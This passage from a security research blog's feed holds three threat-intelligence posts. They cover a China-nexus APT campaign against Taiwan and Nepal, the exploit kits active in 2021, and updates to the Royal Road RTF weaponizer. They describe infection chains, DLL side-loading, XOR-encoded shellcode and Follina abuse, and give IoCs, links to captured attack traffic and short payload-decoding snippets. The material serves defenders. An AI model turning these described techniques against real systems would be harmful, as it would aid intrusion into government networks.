      <p>Ministry of Foreign Affairs of the People’s Republic of China, “Initiative for Belt and Road Partnership on COVID-19 Vaccines Cooperation”, https://www.fmprc.gov.cn/mfa_eng/wjdt_665385/2649_665393/202106/t20210624_9170568.html <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>nao_sec</name></author><summary type="html"><![CDATA[This blog post is based on “GroundPeony: Crawling with Malice” that we presented at HITCON CMT 2023. We are grateful to HITCON for giving us the opportunity to present. https://hitcon.org/2023/CMT/en/agenda/e8fe6942-9c60-419a-b9a0-dbda80a27ad0/ Presentation material (PDF) is here. Abstract In March 2023, we discovered a cyber attack campaign targeting Taiwanese government agencies. The campaign employed devious tactics such as tampering with legitimate websites to distribute malware, using URL obfuscation, and employing multi-stage loaders. In this post, we will first provide an overview of this attack campaign and share the analysis results of the malware used. Through this, the reader will be able to understand the latest attack cases targeting Taiwan. As a result of our investigation, we suspect that this attack campaign was orchestrated by a China-nexus attack group. We will discuss the specific evidence supporting this assumption, and trace back to past attack campaigns. Past campaigns include attacks that exploted the CVE-2022-30190, known as Follina, at the zero-day stage. These studies enable to understand attacker’s motivations and attack backgrounds. This post will enable SOC analysts, IR team members, CSIRT personnel, and others to gain a deep understanding of the latest APT attack trends targeting East and South Asia including Taiwan that have never been reported so far, and to take concrete countermeasures. GroundPeony The name “GroundPeony” was created by us and is not generally known. Based on our reading of the few public reports, we believe they are identical or close to the group dubbed UNC33471 by Mandiant. Active since at least 2021, it targets government organizations in East and South Asia, specifically Taiwan and Nepal. There are two points to note about this group. First, GroudPeony exploits zero-day vulnerability. Specifically, it was the earliest exploiting CVE-2022-30190, also known as Follina. Follina itself is not very complex vulnerability, but it is speculated that this group could develop or have access to a zero-day. This is very interesting. Second, GroundPeony compromised websites for malware distribution. In the past case, Nepal’s government website was compromised. For these reasons, GroundPeony is considered to be an APT group with high attack skill and attack motivation. Timeline This is a quick look at GroundPeony’s attack timeline. The malware has existed on VirusTotal since around 2021. The oldest attack campaign we know is from April to June 2022. Around this time, Follina was exploited to attack Nepal, India, and other countries. After that, we forgot about them for a while, but they started attacking again around March 2023. At this time, they attacked Taiwan and Nepal. In this post, we will deal with the case of April 2022 and March 2023. Latest Attack Flow Let’s look at a specific case. The first is the attack on the Taiwanese government that occurred in March 2023. The attack started from spear-phishing email. The email has a DOC file attached. And, a URL is written in the DOC file, and the ZIP file is downloaded by the URL. The ZIP file contains EXE file and DLL file. And executing them, infects malware. The spear-phishing email looked like this. It is about discussions on maritime issues between Taiwan and the USA. This time, I put a mosaic in the image, but the destination was the Taiwanese government organication. Also, the source is cable TV company in Taiwan. Attached to the email is a DOC file with the file name “Regarding bilateral consultations with the USA”. When open the attached DOC file, it looks like this. It pretends to have an error instead of something like a file name. It says to apply an update to resolve the error. The URL is written for the download of the update. When try to download the update file from this URL, it actually downloads ZIP file containing malware. The URL used at this time is very strange. At first glance, it may look like a legitimate Microsoft website. But, due to the structure of the URL, the original host information is Cuttly. When access this URL, you will access to Cuttly. And it will redirect to ZIP file. At this time, the URL redirected from Cuttly was the website of a Taiwanese educational institution. But, this website was compromised, and a ZIP file containing malware was placed. The ZIP file contains 2 EXE files, one TXT file, and one directory named “$RECYCLE.BIN” that looks like Windows trash box. There are 4 files in the $RECYCLE.BIN directory, all with the DOCX extension. But these are not DOCX files. They are actually malware. By the way, did you notice that the update number written in the DOC file and the ZIP file are different? We don’t know if this was simply a mistake by the attacker or a remnant of another ongoing attack campaign. Malware Analysis Let’s take a look at how malware is executed. First, there are 2 files with the EXE extension included in the ZIP file, 系統安全補丁.exe and Install.exe. But the behavior is the same. When the EXE file is executed, the 4 files placed in $RECYCLE.BIN will be copied to the mic directory under the ProgramData directory. At this time, the names of the 4 files are also changed. The 4 files are renamed to mic.exe, version.dll, mic.doc and mic.ver. And then, mic.exe is executed. mic.exe is a legitimate file with a digital signature. But, it loads version.dll which exists in the same directory. When version.dll is executed by DLL Side-Loading, it loads and decrypts mic.doc. The decryption result is malware we call “micDown” mic.exe Legitimate EXE file with a digital signature version.dll DLL for Side-Loading Shellcode launcher for mic.doc mic.doc Shellcode downloader (micDown) mic.ver Config file for micDown Decoding of version.dll process is in two steps. First version.dll decodes mic.doc and executes it as shellcode. The shellcode further decodes itself and continues execution. The export function of version.dll is very simple. First, it reads mic.doc into the memory area allocated by VirtualAlloc with read, write, and execute permissions. Then, it decodes that data with a custom XOR algorithm that combines sub, xor add instructions. When decoding is complete, the process moves to the memory area where the decoded shellcode is located. The decoded shellcode uses the same custom XOR algorithm as before. The RtlDecompressBuffer is then used to decompress. The shellcode is decoded from the beginning of the file, excluding jump instruction. The decoded code executes the executable with the MZ header removed. It also decodes the data in mic.ver and uses it as a configuration. Finally, it downloads and executes the shellcode from the C&amp;C server, saved in the config. The shellcode is encoded with an algorithm similar to that of a previous file. It differs slightly from the file encoding algorithm in that the order of the add,sub,xor instruction is swapped. The encoded config consists of a 0x40 byte C&amp;C host area and a 0x2 byte port area. The IP address at this time was 103[.]199.17.184. Related File An attack similar to the Taiwanese attack we have previously described was also carried out in Nepal. Although the specific origin of the attack is unknown, a legitimate website was compromised and a ZIP file was installed, as was the case in Taiwan. The legitimate website that was compromised was the Nepalese government’s COVID-19 vaccine-related website. For reference, China is known to have provided vaccines to Nepal as part of its One Belt, One Road partnership2. It is unclear what this has to do with the attacking campaing. In the attack against Nepal, app.onedrivo[.] com was used as the C&amp;C server. The domain was taken using PublicDomainRegistry. More on this domain later. In the attack against Nepal, the malware behaves the same way. When the EXE file is executed, it copies and renames the file and executes mic.exe. mic.exe sideloads version.dll. Then version.dll will read, decode and execute mic.doc. The malware executed was the same as the previous one, called micDown. Related Past Campaign The C&amp;C server used in the previous attack on Nepal has been used in other attacks in the past. The attack on Nepal occurred in April 2022. At that time, this group exploited CVE-2022-30190, also known as Follina. Finally, the CobaltStrike beacon is executed. This domain was used as the server to download this CobaltStrike and as the C&amp;C server. The DOCX file that served as the decoy is a statement of accusation by a person claiming to be a student at Kathmandu University. We do not know the authenticity of this accusation. This DOCX file contains the external link settings. This will load the HTML file. The HTML file contains JavaScript code to change the location. The modified location is written with the scheme ms-msdt. This is the scheme for the Microsoft Support Diagnostic Tool. However,a bug existed in this that allowed PowerShell code to be executed. So, PowerShell code to be executed from a DOCX file. The PowerShell code is downloaded, extracted and executed to a CAB file from the server. Inside the CAB file is an EXE file made by PyInstaller. This EXE is a downloader. And can be downloaded from onedrivo[.]com and run the CobaltStrike beacon. Attribution Let us consider the attribution of this group. To begin with, it is important when this group was exploiting Follina. Follina was finally exploited by a very large number of APT groups. But that was after the details were made public. Here is the timeline. The first time Follina became known to the public was through our tweets. We discovered the Follina sample against Belarus on May 27 and tweeted about it. Since then, detailed explanatory blogs have been published and PoCs have been released. Going back earlier, a vulnerability was reported to Microsoft by the ShadowChasing group on April 12. However, Microsoft did not acknowledge it as a vulnerability at that time. The attack reported is also against Belarus. Let’s go back further. In our research, we found samples from April 7 and 8. These are attacks against Nepal and India. We believe this is the earliest Follina sample. And these are the attacks by the group Mandiant calls UNC3347, which we call GroundPeony. In other words, GroundPeony was exploiting Follina during a perfect zero-day period. Various organizations have written reports about Follina exploits, but China-nexus is the only group that has exploited Follina during zero-day periods. Therefore, we believe GroundPeony is the only China-nexus APT group with zero-day access. Let’s look at another indicator. We analyzed an EXE file made by PyInstaller that is executed after the Follina exploit. The PyInstaller binary can easily decompile the Python code. The extracted file looked like this. A large amount of Chinese comments were written. Also, the code was copy-pasted from various public repositories, but most of it was written by Chinese developer. This is a very elementary mistake. However, it is highly likely that the person who created the malware is a native Chinese speaker. We tried mapping the victim (or presumed to be). A very interesting diagram. What does this mean? Based on our previous research, we have created a diamond model. GroundPeony, also known as UNC3347, is a China-nexus APT group. They have been active since at least 2021. They target East and South Asia like Taiwan and Nepal. In particular, they seem to be targeting government agencies, research institutions, and telecoms. The attacks begin with spear phishing emails. They compromised legitimate websites and use them for their attacks. There was nothing unique about the IP addresses used, and no connection to the victim country could be found. GroundPeony also provides zero-day access. Besides popular tools such as CobaltStrike, they also use group’s original malware. Wrap-Up GroundPeony is an APT group of which little is known so far. It is believed to be China-nexus. It is targeting East and South Asian countries like Taiwan and Nepal. In particular, they seem to be targeting government agencies, research institutions, and telecoms. One point worth noting is their use of zero-day. Follina was exploited in its early period. This group also compromised legitimate websites and install malware. GroundPeony is an aggressive APT group. Please keep an eye on their future developments. IoC 103[.]199.17.184 160[.]20.145.111 172[.]93.189.239 *.onedrivo[.]com 1992b552bdaf93caeb470f94b4bf91e0157ba4a9bb92fb8430be946c0ddabdeb 425630cc8be2a7dc2626ccd927bb45e5d40c1cb606bb5b2a7e8928df010af7c9 fa6510a84929a0c49d91b3887189fca5a310129912d8e7d14fed062e9446af7e 142a027d78c7ab5b425c2b849b347952196b03618e4ad74452dbe2ed4e3f73cd d1989ca12426ed368816ce00f08975dc1ff1e4f474592523c40f9af344a57b49 6e13e5c7fcbafc47df259f2565efaed51bc1d021010c51673a7c455b5d4dad2b ef611e07e9d7e20ed3d215e4f407a7a7ca9f64308905c37e53df39f8a5bcbb3c 7b814e43af86a84b9ad16d47f9c74da484ea69903ef0fbe40ec62ba123d83a9a f3e0a3dd3d97ccc23c4cee0fd9c247dbe79fbf39bc9ae9152d4676c96e46e483 50182fca4c22c7dde7b8392ceb4c0fef67129f7dc386631e6db39dec73537705 References Mandiant, “Move, Patch, Get Out the Way: 2022 Zero-Day Exploitation Continues at an Elevated Pace”, https://www.mandiant.com/resources/blog/zero-days-exploited-2022 &#8617; Ministry of Foreign Affairs of the People’s Republic of China, “Initiative for Belt and Road Partnership on COVID-19 Vaccines Cooperation”, https://www.fmprc.gov.cn/mfa_eng/wjdt_665385/2649_665393/202106/t20210624_9170568.html &#8617;]]></summary></entry><entry><title type="html">Exploit Kit still sharpens a sword</title><link href="http://nao-sec.org/2021/04/exploit-kit-still-sharpens-a-sword.html" rel="alternate" type="text/html" title="Exploit Kit still sharpens a sword" /><published>2021-04-15T15:00:00+00:00</published><updated>2021-04-15T15:00:00+00:00</updated><id>http://nao-sec.org/2021/04/exploit-kit-still-sharpens-a-sword</id><content type="html" xml:base="http://nao-sec.org/2021/04/exploit-kit-still-sharpens-a-sword.html"><![CDATA[<p>Note: This blog post doesn’t make sense to many</p>

<p>It’s 2021 now. Moreover, the quarter has already passed. I thought Drive-by Download attack was dead four years ago. Angler Exploit Kit has disappeared, pseudo-Darkleech and EITest campaign have disappeared, and RIG Exploit Kit has also declined. At that time, Drive-by Download attack was definitely supposed to die. However, even if in 2021, it will not disappear fire still slightly.</p>

<p>In April 2021, I received some incredible notices. For example, there are the following notifications.</p>

<ul>
  <li>PurpleFox Exploit Kit has started exploiting CVE-2021-26411</li>
  <li>RIG Exploit Kit has started exploiting CVE-2021-26411</li>
  <li>Bottle Exploit Kit is back, and has started exploiting CVE-2020-1380 and CVE-2021-26411</li>
  <li>Underminer Exploit Kit is back</li>
</ul>

<p>Repeat again. It’s 2021 now. Not 2017. Internet Explorer was taken away by Chrome and Edge, and Drive-by Download attack was supposed to die. Why are there still Drive-by Download attacks? Here are some reasons, including the opinions of your friends.</p>

<ol>
  <li>Internet Explorer is still used in some countries/regions including Japan</li>
  <li>Due to the influence of corona, remote work has increased, and the number of users with network security vulnerabilities has increased</li>
  <li>Internet Explorer vulnerabilities still discovered and exploit code published</li>
</ol>

<p>In reality, these are intricately intertwined, and there may be different reasons.</p>

<p>In any case, Drive-by Download attacks are still being observed. Moreover, it is a little more active. This is irrelevant for most people. Because most people don’t use Internet Explorer. If you don’t use Internet Explorer, a typical Exploit Kit attack is not a threat. A small number of targeted attacks may use Chrome’s 0day, which is not discussed here.</p>

<p>For the few enthusiastic Internet Explorer users that exist, I write this blog post. In other words, as of April 2021, I will introduce the characteristics of common Drive-by Download attacks that you may encounter. Thanks to my friends (@jeromesegura, @nao_sec members) for helping me write this blog post.</p>

<h2 id="exploit-kit-landscape">Exploit Kit Landscape</h2>
<p>As of April 2021, the following 6 types of Exploit Kits have been observed to be active.</p>

<ul>
  <li>RIG</li>
  <li>Spelevo</li>
  <li>PurpleFox</li>
  <li>Underminer</li>
  <li>Bottle</li>
  <li>Magnitude</li>
</ul>

<p>nao_sec has been running a fully automatic Drive-by Download attack observation environment called Augma System[1] for three years. The data observed by this is as follows. Some Exploit Kits are not counted because they are observed in different environments.</p>

<p><img src="https://nao-sec.org/assets/2021-04-16/ek.png" alt="" /></p>

<p>The features of the 6 types of Exploit Kits currently observed are as follows.</p>

<table>
  <thead>
    <tr>
      <th> </th>
      <th>Private</th>
      <th>Update</th>
      <th>Exploit</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>RIG</td>
      <td>No</td>
      <td>Yes</td>
      <td>CVE-2020-0674, CVE-2021-26411</td>
    </tr>
    <tr>
      <td>Spelevo</td>
      <td>No</td>
      <td>No</td>
      <td>CVE-2018-8174, CVE-2018-15982</td>
    </tr>
    <tr>
      <td>PurpleFox</td>
      <td>Yes</td>
      <td>Yes</td>
      <td>CVE-2021-26411</td>
    </tr>
    <tr>
      <td>Underminer</td>
      <td>Yes</td>
      <td>No</td>
      <td>CVE-2018-15982</td>
    </tr>
    <tr>
      <td>Bottle</td>
      <td>Yes</td>
      <td>Yes</td>
      <td>CVE-2020-1380, CVE-2021-26411</td>
    </tr>
    <tr>
      <td>Magnitude</td>
      <td>Yes</td>
      <td>Yes</td>
      <td>CVE-2021-26411</td>
    </tr>
  </tbody>
</table>

<p>Here is sample traffic for each.</p>

<h3 id="rig-exploit-kit">RIG Exploit Kit</h3>
<p>RIG is an Exploit Kit that has been active since around 2014. It was extremely active from 2016 to 2017, but then declined with the advent of Fallout and others. However, it is still active in 2021.</p>

<p>RIG started abusing CVE-2021-26411 in April 2021 and are still incorporating changes. Landing Pages are not obfuscated as they used to be. Very simple code. The malware is RC4 encrypted.</p>

<p><img src="https://nao-sec.org/assets/2021-04-16/rig.png" alt="" /></p>

<p>Download sample traffic <a href="https://nao-sec.org/assets/2021-04-16/rig.saz">here</a>.</p>

<h3 id="spelevo-exploit-kit">Spelevo Exploit Kit</h3>
<p>Spelevo is an Exploit Kit that appeared in 2019. 2020 was very mature, but 2021 is one of the most active Exploit Kits.</p>

<p>Spelevo hasn’t changed for a long time. Spelevo hides the malware in the image. See this article[2] for detailed behavior.</p>

<p><img src="https://nao-sec.org/assets/2021-04-16/spelevo.png" alt="" /></p>

<p>Download sample traffic <a href="https://nao-sec.org/assets/2021-04-16/spelevo.saz">here</a>.</p>

<h3 id="purplefox-exploit-kit">PurpleFox Exploit Kit</h3>
<p>PurpleFox is an Exploit Kit that has been active since 2019. A private exploit kit for sending PurpleFox malware. It’s enthusiastic about exploit and is fairly fast at incorporating new vulnerabilities.</p>

<p>Spelevo has started to exploit CVE-2021-26411 in April 2021. However, the other parts have not changed for a long time.</p>

<p><img src="https://nao-sec.org/assets/2021-04-16/purplefox.png" alt="" /></p>

<p>Download sample traffic <a href="https://nao-sec.org/assets/2021-04-16/purplefox.saz">here</a>.</p>

<h3 id="underminer-exploit-kit">Underminer Exploit Kit</h3>
<p>Underminer is an Exploit Kit that appeared in 2018. It’s a pretty distinctive Exploit Kit. It is known to be extremely difficult to analyze. It is used to deliver its unique malware called Hidden Bee. See this article[3] for more details.</p>

<p>Underminer has a cycle of activity for several months and then silence for several months. It has been silent since the November 2020, but was revived in April 2021. But the essence hasn’t changed at all.</p>

<p><img src="https://nao-sec.org/assets/2021-04-16/underminer.png" alt="" /></p>

<p>Download sample traffic <a href="https://nao-sec.org/assets/2021-04-16/underminer.saz">here</a>.</p>

<h3 id="bottle-exploit-kit">Bottle Exploit Kit</h3>
<p>Bottle is an Exploit Kit that appeared in 2019. An extremely rare Exploit Kit that targets only Japan. It is used to deliver its unique malware called Cinobi.</p>

<p>It is one of the most active Exploit Kits in Japan. It has not been observed since November 2020, but it was revived in April 2021. It’s also worth noting that unlike other Exploit Kits, it exploits CVE-2020-1380 and CVE-2021-26411. It has been pointed out that it is related to MageCart and phishing campaigns. See this article[4] for more details.</p>

<p><img src="https://nao-sec.org/assets/2021-04-16/bottle.png" alt="" /></p>

<p>Download sample traffic <a href="https://nao-sec.org/assets/2021-04-16/bottle.saz">here</a>.</p>

<h3 id="magnitude-exploit-kit">Magnitude Exploit Kit</h3>
<p>Magnitude is one of the oldest existing Exploit Kits. It has been observed only in certain countries/regions such as South Korea and Taiwan, and the details have not been reported much.</p>

<p>Its activity was also reported in April 2021. It exploits CVE-2021-26411 and is still actively evolving.</p>

<blockquote class="twitter-tweet"><p lang="en" dir="ltr">One more: <a href="https://twitter.com/hashtag/MagnitudeEK?src=hash&amp;ref_src=twsrc%5Etfw">#MagnitudeEK</a> <a href="https://t.co/pOuIZzAPZG">pic.twitter.com/pOuIZzAPZG</a></p>&mdash; Jérôme Segura (@jeromesegura) <a href="https://twitter.com/jeromesegura/status/1382395637480656896?ref_src=twsrc%5Etfw">April 14, 2021</a></blockquote>
<script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

<h2 id="finally">Finally</h2>
<p>Drive-by Download attacks are still observed in 2021. It has nothing to do with most people. As with Adobe Flash Player, stop using Internet Explorer immediately. That is the simplest solution. Drive-by Download attacks continue to exist with Internet Explorer.</p>

<h2 id="references">References</h2>
<p>[1] <a href="https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-KoikeChubachi.pdf">https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-KoikeChubachi.pdf</a><br />
[2] <a href="https://insight-jp.nttsecurity.com/post/102gsqj/pseudogatespelevo-exploit-kit">https://insight-jp.nttsecurity.com/post/102gsqj/pseudogatespelevo-exploit-kit</a><br />
[3] <a href="https://blog.malwarebytes.com/threat-analysis/2019/08/the-hidden-bee-infection-chain-part-1-the-stegano-pack/">https://blog.malwarebytes.com/threat-analysis/2019/08/the-hidden-bee-infection-chain-part-1-the-stegano-pack/</a><br />
[4] <a href="http://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_103_koike-takai_jp.pdf">http://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_103_koike-takai_jp.pdf</a></p>]]></content><author><name>nao_sec</name></author><summary type="html"><![CDATA[Note: This blog post doesn’t make sense to many It’s 2021 now. Moreover, the quarter has already passed. I thought Drive-by Download attack was dead four years ago. Angler Exploit Kit has disappeared, pseudo-Darkleech and EITest campaign have disappeared, and RIG Exploit Kit has also declined. At that time, Drive-by Download attack was definitely supposed to die. However, even if in 2021, it will not disappear fire still slightly. In April 2021, I received some incredible notices. For example, there are the following notifications. PurpleFox Exploit Kit has started exploiting CVE-2021-26411 RIG Exploit Kit has started exploiting CVE-2021-26411 Bottle Exploit Kit is back, and has started exploiting CVE-2020-1380 and CVE-2021-26411 Underminer Exploit Kit is back Repeat again. It’s 2021 now. Not 2017. Internet Explorer was taken away by Chrome and Edge, and Drive-by Download attack was supposed to die. Why are there still Drive-by Download attacks? Here are some reasons, including the opinions of your friends. Internet Explorer is still used in some countries/regions including Japan Due to the influence of corona, remote work has increased, and the number of users with network security vulnerabilities has increased Internet Explorer vulnerabilities still discovered and exploit code published In reality, these are intricately intertwined, and there may be different reasons. In any case, Drive-by Download attacks are still being observed. Moreover, it is a little more active. This is irrelevant for most people. Because most people don’t use Internet Explorer. If you don’t use Internet Explorer, a typical Exploit Kit attack is not a threat. A small number of targeted attacks may use Chrome’s 0day, which is not discussed here. For the few enthusiastic Internet Explorer users that exist, I write this blog post. In other words, as of April 2021, I will introduce the characteristics of common Drive-by Download attacks that you may encounter. Thanks to my friends (@jeromesegura, @nao_sec members) for helping me write this blog post. Exploit Kit Landscape As of April 2021, the following 6 types of Exploit Kits have been observed to be active. RIG Spelevo PurpleFox Underminer Bottle Magnitude nao_sec has been running a fully automatic Drive-by Download attack observation environment called Augma System[1] for three years. The data observed by this is as follows. Some Exploit Kits are not counted because they are observed in different environments. The features of the 6 types of Exploit Kits currently observed are as follows.   Private Update Exploit RIG No Yes CVE-2020-0674, CVE-2021-26411 Spelevo No No CVE-2018-8174, CVE-2018-15982 PurpleFox Yes Yes CVE-2021-26411 Underminer Yes No CVE-2018-15982 Bottle Yes Yes CVE-2020-1380, CVE-2021-26411 Magnitude Yes Yes CVE-2021-26411 Here is sample traffic for each. RIG Exploit Kit RIG is an Exploit Kit that has been active since around 2014. It was extremely active from 2016 to 2017, but then declined with the advent of Fallout and others. However, it is still active in 2021. RIG started abusing CVE-2021-26411 in April 2021 and are still incorporating changes. Landing Pages are not obfuscated as they used to be. Very simple code. The malware is RC4 encrypted. Download sample traffic here. Spelevo Exploit Kit Spelevo is an Exploit Kit that appeared in 2019. 2020 was very mature, but 2021 is one of the most active Exploit Kits. Spelevo hasn’t changed for a long time. Spelevo hides the malware in the image. See this article[2] for detailed behavior. Download sample traffic here. PurpleFox Exploit Kit PurpleFox is an Exploit Kit that has been active since 2019. A private exploit kit for sending PurpleFox malware. It’s enthusiastic about exploit and is fairly fast at incorporating new vulnerabilities. Spelevo has started to exploit CVE-2021-26411 in April 2021. However, the other parts have not changed for a long time. Download sample traffic here. Underminer Exploit Kit Underminer is an Exploit Kit that appeared in 2018. It’s a pretty distinctive Exploit Kit. It is known to be extremely difficult to analyze. It is used to deliver its unique malware called Hidden Bee. See this article[3] for more details. Underminer has a cycle of activity for several months and then silence for several months. It has been silent since the November 2020, but was revived in April 2021. But the essence hasn’t changed at all. Download sample traffic here. Bottle Exploit Kit Bottle is an Exploit Kit that appeared in 2019. An extremely rare Exploit Kit that targets only Japan. It is used to deliver its unique malware called Cinobi. It is one of the most active Exploit Kits in Japan. It has not been observed since November 2020, but it was revived in April 2021. It’s also worth noting that unlike other Exploit Kits, it exploits CVE-2020-1380 and CVE-2021-26411. It has been pointed out that it is related to MageCart and phishing campaigns. See this article[4] for more details. Download sample traffic here. Magnitude Exploit Kit Magnitude is one of the oldest existing Exploit Kits. It has been observed only in certain countries/regions such as South Korea and Taiwan, and the details have not been reported much. Its activity was also reported in April 2021. It exploits CVE-2021-26411 and is still actively evolving. One more: #MagnitudeEK pic.twitter.com/pOuIZzAPZG&mdash; Jérôme Segura (@jeromesegura) April 14, 2021 Finally Drive-by Download attacks are still observed in 2021. It has nothing to do with most people. As with Adobe Flash Player, stop using Internet Explorer immediately. That is the simplest solution. Drive-by Download attacks continue to exist with Internet Explorer. References [1] https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-KoikeChubachi.pdf [2] https://insight-jp.nttsecurity.com/post/102gsqj/pseudogatespelevo-exploit-kit [3] https://blog.malwarebytes.com/threat-analysis/2019/08/the-hidden-bee-infection-chain-part-1-the-stegano-pack/ [4] http://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_103_koike-takai_jp.pdf]]></summary></entry><entry><title type="html">Royal Road! Re:Dive</title><link href="http://nao-sec.org/2021/01/royal-road-redive.html" rel="alternate" type="text/html" title="Royal Road! Re:Dive" /><published>2021-01-04T15:00:00+00:00</published><updated>2021-01-04T15:00:00+00:00</updated><id>http://nao-sec.org/2021/01/royal-road-redive</id><content type="html" xml:base="http://nao-sec.org/2021/01/royal-road-redive.html"><![CDATA[<p><img src="https://nao-sec.org/assets/2021-01-05/00.png" alt="" /></p>

<h2 id="abstract">Abstract</h2>
<p>We introduced the “Royal Road RTF Weaponizer” in our previous blog [1] (and presented at Japan Security Analyst Conference 2020 and CPX 360 CPRCon 2020). Royal Road is a tool shared by many targeted attack groups believed to belong to China. It’s been a year since our previous blog, and Royal Road is still in use. Here, we will introduce the Royal Road-related attacks observed during 2020.</p>

<h2 id="previous-blog">Previous Blog</h2>
<p>Let’s briefly review the previous blog. Royal Road is a tool that generates RTF files that exploit the Microsoft Office Equation Editor vulnerabilities (CVE-2017-11882, CVE-2018-0798, CVE-2018-0802). The details of the tool are unknown, but the RTF file generated by it has various characteristics. The definition of “RTF file generated by Royal Road” may vary from researcher to researcher. Therefore, we define a file that meets the following conditions as an “RTF file generated by Royal Road”.</p>

<ol>
  <li>Exploiting a vulnerability in Microsoft Office Equation Editor</li>
  <li>Containing an object named “8.t”</li>
</ol>

<p>However, some RTF files are likely to be related to Royal Road, even though they don’t meet the second condition. For classification purposes, we refer to this as “Related Samples”. In reality, this may also be an RTF file generated by Royal Road, but the truth is only known to the attacker. Due to the our research, we have divided these into “Royal Road Samples” and “Related Samples”. However, they are treated the same in the specific case studies below.</p>

<p>And Royal Road is shared among various attack groups believed to belong to China. Specifically, it is believed to be used by the following attack groups. The attack group alias is written for reference. Strictly speaking, these can be different. For example, TA428 and Pirate Panda are not exactly equivalent.</p>

<ol>
  <li>Temp.Tick (BRONZE BUTLER, RedBaldKnight)</li>
  <li>Temp.Conimes (Goblin Panda, Cycldek)</li>
  <li>Temp.Periscope (Leviathan, APT40)</li>
  <li>Temp.Trident (Dagger Panda, IceFog)</li>
  <li>Tonto (Karma Panda, CactusPete, LoneRanger)</li>
  <li>TA428 (Pirate Panda)</li>
  <li>Rancor</li>
</ol>

<p>Also, we categorized the various characteristics of the RTF files used by these groups and showed what they have in common.</p>

<p><img src="https://nao-sec.org/assets/2021-01-05/01.png" alt="" /></p>

<h2 id="updates">Updates</h2>
<p>It’s been a year since we introduced Royal Road. In the meantime, the RTF file, believed to have been generated by Royal Road, has been used many times in targeted attacks, and several updates have been observed. First of all, we will introduce the updates.</p>

<p>The RTF file generated by Royal Road contains encoded malware. It is decoded by Shellcode after exploit. In our previous blog, we introduced the following 5 encodings.</p>

<ol>
  <li>4D 5A 90 00  (not encoded)</li>
  <li>F2 A3 20 72</li>
  <li>B2 A6 6D FF</li>
  <li>B0 74 77 46</li>
  <li>B2 5A 6F 00</li>
</ol>

<p>Many of the RTF files we observed in 2020 used the 3rd and 4th encodings. However, a few samples used the new encodings. The following 2 encodings.</p>

<ol>
  <li>A9 A4 6E FE</li>
</ol>

<p><img src="https://nao-sec.org/assets/2021-01-05/02.png" alt="" /></p>

<p>This encoding can be decoded with code like the following:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">dec_data</span> <span class="o">=</span> <span class="p">[]</span>

<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">enc_data</span><span class="p">)):</span>
    <span class="n">dec_data</span><span class="p">.</span><span class="n">append</span><span class="p">(((</span><span class="nb">int</span><span class="p">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">enc_data</span><span class="p">[</span><span class="n">i</span><span class="p">],</span>  <span class="s">"little"</span><span class="p">)</span> <span class="o">^</span> <span class="mh">0x7b</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0x7b</span><span class="p">)</span> <span class="o">%</span> <span class="mi">256</span><span class="p">)</span>
</code></pre></div></div>

<ol>
  <li>94 5F DA D8</li>
</ol>

<p><img src="https://nao-sec.org/assets/2021-01-05/03.png" alt="" /></p>

<p>This encoding can be decoded with code like the following:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">dec_data</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">xor_key</span> <span class="o">=</span> <span class="mi">1387678300</span>

<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">enc_data</span><span class="p">)):</span>
    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">7</span><span class="p">):</span>
        <span class="n">x0</span> <span class="o">=</span> <span class="p">(</span><span class="n">xor_key</span> <span class="o">&amp;</span> <span class="mh">0x20000000</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0x20000000</span>
        <span class="n">x1</span> <span class="o">=</span> <span class="p">(</span><span class="n">xor_key</span> <span class="o">&amp;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">==</span> <span class="mi">8</span>
        <span class="n">x2</span> <span class="o">=</span> <span class="n">xor_key</span> <span class="o">&amp;</span> <span class="mi">1</span>
        <span class="n">x3</span> <span class="o">=</span> <span class="mi">1</span> <span class="o">+</span> <span class="p">(</span><span class="n">x0</span> <span class="o">^</span> <span class="n">x1</span> <span class="o">^</span> <span class="n">x2</span><span class="p">)</span>
        <span class="n">xor_key</span> <span class="o">=</span> <span class="p">(</span><span class="n">xor_key</span> <span class="o">+</span> <span class="n">xor_key</span><span class="p">)</span> <span class="o">+</span> <span class="n">x3</span>
    <span class="n">dec_data</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="nb">int</span><span class="p">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">enc_data</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="s">"little"</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">xor_key</span> <span class="o">%</span> <span class="mi">256</span><span class="p">))</span>
</code></pre></div></div>

<p>Our tool for decrypting Royal Road encoded object is already available on GitHub. It also supports the above new encodings.</p>

<p><a href="https://github.com/nao-sec/rr_decoder">https://github.com/nao-sec/rr_decoder</a></p>

<h2 id="new-attack-groups">New Attack Groups</h2>
<p>As we mentioned earlier, several attack groups use Royal Road. The following eight attack groups have been observed to use Royal Road (including both Royal Road Samples and Related Samples) during 2020.</p>

<ol>
  <li>Temp.Conimes</li>
  <li>Tonto</li>
  <li>TA428</li>
  <li>Naikon</li>
  <li>Higaisa</li>
  <li>Vicious Panda</li>
  <li>FunnyDream</li>
  <li>TA410</li>
</ol>

